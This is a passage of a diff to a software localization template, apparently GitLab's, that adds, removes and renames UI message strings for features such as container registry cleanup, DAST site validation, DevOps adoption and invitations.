+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
